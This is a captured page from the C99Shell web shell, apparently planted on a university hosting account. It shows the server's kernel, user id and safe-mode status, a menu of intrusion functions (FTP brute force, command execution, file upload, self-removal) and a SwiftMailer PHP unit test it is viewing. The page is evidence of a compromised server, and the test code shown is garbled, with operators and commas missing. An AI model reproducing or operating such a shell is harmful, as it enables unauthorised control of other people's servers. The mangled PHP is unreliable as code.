!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     MimePartTest.php (7.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class Swift_Mime_MimePartTest extends Swift_Mime_AbstractMimeEntityTest
{
    public function 
testNestingLevelIsSubpart()
    {
        
$part $this->_createMimePart($this->_createHeaderSet(),
            
$this->_createEncoder(), $this->_createCache()
            );
        
$this->assertEquals(
            
Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE$part->getNestingLevel()
            );
    }

    public function 
testCharsetIsReturnedFromHeader()
    {
        
/* -- RFC 2046, 4.1.2.
        A critical parameter that may be specified in the Content-Type field
        for "text/plain" data is the character set.  This is specified with a
        "charset" parameter, as in:

     Content-type: text/plain; charset=iso-8859-1

        Unlike some other parameter values, the values of the charset
        parameter are NOT case sensitive.  The default character set, which
        must be assumed in the absence of a charset parameter, is US-ASCII.
        */

        
$cType $this->_createHeader('Content-Type''text/plain',
            array(
'charset' => 'iso-8859-1')
            );
        
$part $this->_createMimePart($this->_createHeaderSet(array(
            
'Content-Type' => $cType, )),
            
$this->_createEncoder(), $this->_createCache()
            );
        
$this->assertEquals('iso-8859-1'$part->getCharset());
    }

    public function 
testCharsetIsSetInHeader()
    {
        
$cType $this->_createHeader('Content-Type''text/plain',
            array(
'charset' => 'iso-8859-1'), false
            
);
        
$cType->shouldReceive('setParameter')->once()->with('charset''utf-8');

        
$part $this->_createMimePart($this->_createHeaderSet(array(
            
'Content-Type' => $cType, )),
            
$this->_createEncoder(), $this->_createCache()
            );
        
$part->setCharset('utf-8');
    }

    public function 
testCharsetIsSetInHeaderIfPassedToSetBody()
    {
        
$cType $this->_createHeader('Content-Type''text/plain',
            array(
'charset' => 'iso-8859-1'), false
            
);
        
$cType->shouldReceive('setParameter')->once()->with('charset''utf-8');

        
$part $this->_createMimePart($this->_createHeaderSet(array(
            
'Content-Type' => $cType, )),
            
$this->_createEncoder(), $this->_createCache()
            );
        
$part->setBody('''text/plian''utf-8');
    }

    public function 
testSettingCharsetNotifiesEncoder()
    {
        
$encoder $this->_createEncoder('quoted-printable'false);
        
$encoder->expects($this->once())
                ->
method('charsetChanged')
                ->
with('utf-8');

        
$part $this->_createMimePart($this->_createHeaderSet(),
            
$encoder$this->_createCache()
            );
        
$part->setCharset('utf-8');
    }

    public function 
testSettingCharsetNotifiesHeaders()
    {
        
$headers $this->_createHeaderSet(array(), false);
        
$headers->shouldReceive('charsetChanged')
                ->
zeroOrMoreTimes()
                ->
with('utf-8');

        
$part $this->_createMimePart($headers$this->_createEncoder(),
            
$this->_createCache()
            );
        
$part->setCharset('utf-8');
    }

    public function 
testSettingCharsetNotifiesChildren()
    {
        
$child $this->_createChild(0''false);
        
$child->shouldReceive('charsetChanged')
              ->
once()
              ->
with('windows-874');

        
$part $this->_createMimePart($this->_createHeaderSet(),
            
$this->_createEncoder(), $this->_createCache()
            );
        
$part->setChildren(array($child));
        
$part->setCharset('windows-874');
    }

    public function 
testCharsetChangeUpdatesCharset()
    {
        
$cType $this->_createHeader('Content-Type''text/plain',
            array(
'charset' => 'iso-8859-1'), false
            
);
        
$cType->shouldReceive('setParameter')->once()->with('charset''utf-8');

        
$part $this->_createMimePart($this->_createHeaderSet(array(
            
'Content-Type' => $cType, )),
            
$this->_createEncoder(), $this->_createCache()
            );
        
$part->charsetChanged('utf-8');
    }

    public function 
testSettingCharsetClearsCache()
    {
        
$headers $this->_createHeaderSet(array(), false);
        
$headers->shouldReceive('toString')
                ->
zeroOrMoreTimes()
                ->
andReturn("Content-Type: text/plain; charset=utf-8\r\n");

        
$cache $this->_createCache(false);

        
$entity $this->_createEntity($headers$this->_createEncoder(),
            
$cache
            
);

        
$entity->setBody("blah\r\nblah!");
        
$entity->toString();

        
// Initialize the expectation here because we only care about what happens in setCharset()
        
$cache->shouldReceive('clearKey')
                ->
once()
                ->
with(\Mockery::any(), 'body');

        
$entity->setCharset('iso-2022');
    }

    public function 
testFormatIsReturnedFromHeader()
    {
        
/* -- RFC 3676.
     */

        
$cType $this->_createHeader('Content-Type''text/plain',
            array(
'format' => 'flowed')
            );
        
$part $this->_createMimePart($this->_createHeaderSet(array(
            
'Content-Type' => $cType, )),
            
$this->_createEncoder(), $this->_createCache()
            );
        
$this->assertEquals('flowed'$part->getFormat());
    }

    public function 
testFormatIsSetInHeader()
    {
        
$cType $this->_createHeader('Content-Type''text/plain', array(), false);
        
$cType->shouldReceive('setParameter')->once()->with('format''fixed');

        
$part $this->_createMimePart($this->_createHeaderSet(array(
            
'Content-Type' => $cType, )),
            
$this->_createEncoder(), $this->_createCache()
            );
        
$part->setFormat('fixed');
    }

    public function 
testDelSpIsReturnedFromHeader()
    {
        
/* -- RFC 3676.
     */

        
$cType $this->_createHeader('Content-Type''text/plain',
            array(
'delsp' => 'no')
            );
        
$part $this->_createMimePart($this->_createHeaderSet(array(
            
'Content-Type' => $cType, )),
            
$this->_createEncoder(), $this->_createCache()
            );
        
$this->assertSame(false$part->getDelSp());
    }

    public function 
testDelSpIsSetInHeader()
    {
        
$cType $this->_createHeader('Content-Type''text/plain', array(), false);
        
$cType->shouldReceive('setParameter')->once()->with('delsp''yes');

        
$part $this->_createMimePart($this->_createHeaderSet(array(
            
'Content-Type' => $cType, )),
            
$this->_createEncoder(), $this->_createCache()
            );
        
$part->setDelSp(true);
    }

    public function 
testFluidInterface()
    {
        
$part $this->_createMimePart($this->_createHeaderSet(),
            
$this->_createEncoder(), $this->_createCache()
            );

        
$this->assertSame($part,
            
$part
            
->setContentType('text/plain')
            ->
setEncoder($this->_createEncoder())
            ->
setId('foo@bar')
            ->
setDescription('my description')
            ->
setMaxLineLength(998)
            ->
setBody('xx')
            ->
setBoundary('xyz')
            ->
setChildren(array())
            ->
setCharset('utf-8')
            ->
setFormat('flowed')
            ->
setDelSp(true)
            );
    }

    
// -- Private helpers

    //abstract
    
protected function _createEntity($headers$encoder$cache)
    {
        return 
$this->_createMimePart($headers$encoder$cache);
    }

    protected function 
_createMimePart($headers$encoder$cache)
    {
        return new 
Swift_Mime_MimePart($headers$encoder$cache, new Swift_Mime_Grammar());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0145 ]--